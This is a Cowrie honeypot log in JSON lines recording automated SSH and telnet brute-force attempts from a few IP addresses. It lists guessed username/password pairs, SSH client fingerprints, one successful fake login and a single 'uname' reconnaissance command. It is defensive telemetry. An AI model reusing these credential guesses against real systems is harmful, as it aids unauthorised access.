{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:47.005170Z","src_ip":"193.151.144.93","session":"704f7a2cda81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:47.170312Z","src_ip":"193.151.144.93","session":"704f7a2cda81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.528053283691406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:47.389219Z","src_ip":"69.4.83.194","session":"7ed8e4aab352","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:47.665243Z","src_ip":"193.151.144.93","session":"704f7a2cda81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.21610450744629,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:48.660069Z","src_ip":"69.4.83.194","session":"eea0aaaf86d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:52.126440Z","src_ip":"193.151.144.93","session":"704f7a2cda81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43000,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2775c4a44b","protocol":"ssh","message":"New connection: 193.151.144.93:43000 (10.17.0.5:22) [session: 2f2775c4a44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:52.453988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:52.459108Z","src_ip":"193.151.144.93","session":"2f2775c4a44b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:52.628878Z","src_ip":"193.151.144.93","session":"2f2775c4a44b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:53.137529Z","src_ip":"193.151.144.93","session":"2f2775c4a44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c2eb37cbcc0","protocol":"telnet","message":"New connection: 50.62.181.92:47376 (159.203.135.109:23) [session: 5c2eb37cbcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:53.393219Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:54.788839Z","src_ip":"193.151.144.93","session":"2f2775c4a44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43008,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde222e78ee3","protocol":"ssh","message":"New connection: 193.151.144.93:43008 (10.17.0.5:22) [session: dde222e78ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:57.772562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:57.781338Z","src_ip":"193.151.144.93","session":"dde222e78ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:57.949876Z","src_ip":"193.151.144.93","session":"dde222e78ee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:58.457096Z","src_ip":"193.151.144.93","session":"dde222e78ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:48:59.629310Z","src_ip":"193.151.144.93","session":"dde222e78ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35480,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe36a6ecbc8","protocol":"ssh","message":"New connection: 193.151.144.93:35480 (10.17.0.5:22) [session: bfe36a6ecbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:03.213948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:03.219738Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:03.396040Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:04.148500Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.002948Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.008428Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.190497Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.203947Z","src_ip":"193.151.144.93","session":"bfe36a6ecbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56150,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f571416a31","protocol":"ssh","message":"New connection: 194.113.233.25:56150 (159.203.135.109:22) [session: 46f571416a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.853735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.859015Z","src_ip":"194.113.233.25","session":"46f571416a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:05.954422Z","src_ip":"194.113.233.25","session":"46f571416a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"utjuhfabz","message":"login attempt [root/utjuhfabz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:06.247137Z","src_ip":"194.113.233.25","session":"46f571416a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:07.344042Z","src_ip":"194.113.233.25","session":"46f571416a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35492,"dst_ip":"10.17.0.5","dst_port":22,"session":"e26f750d5358","protocol":"ssh","message":"New connection: 193.151.144.93:35492 (10.17.0.5:22) [session: e26f750d5358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:08.816059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:08.826598Z","src_ip":"193.151.144.93","session":"e26f750d5358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:08.997432Z","src_ip":"193.151.144.93","session":"e26f750d5358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:09.510226Z","src_ip":"193.151.144.93","session":"e26f750d5358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56096,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1f6ed407d55","protocol":"ssh","message":"New connection: 193.151.144.93:56096 (10.17.0.5:22) [session: b1f6ed407d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:14.348307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:14.353851Z","src_ip":"193.151.144.93","session":"b1f6ed407d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:14.525454Z","src_ip":"193.151.144.93","session":"b1f6ed407d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:15.040110Z","src_ip":"193.151.144.93","session":"b1f6ed407d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:16.213968Z","src_ip":"193.151.144.93","session":"b1f6ed407d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56106,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ac78cb5cefe","protocol":"ssh","message":"New connection: 193.151.144.93:56106 (10.17.0.5:22) [session: 0ac78cb5cefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:19.824125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:19.829991Z","src_ip":"193.151.144.93","session":"0ac78cb5cefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:20.007541Z","src_ip":"193.151.144.93","session":"0ac78cb5cefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:20.534033Z","src_ip":"193.151.144.93","session":"0ac78cb5cefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:49:22.156083Z","src_ip":"193.151.144.93","session":"0ac78cb5cefe","protocol":"ssh"}
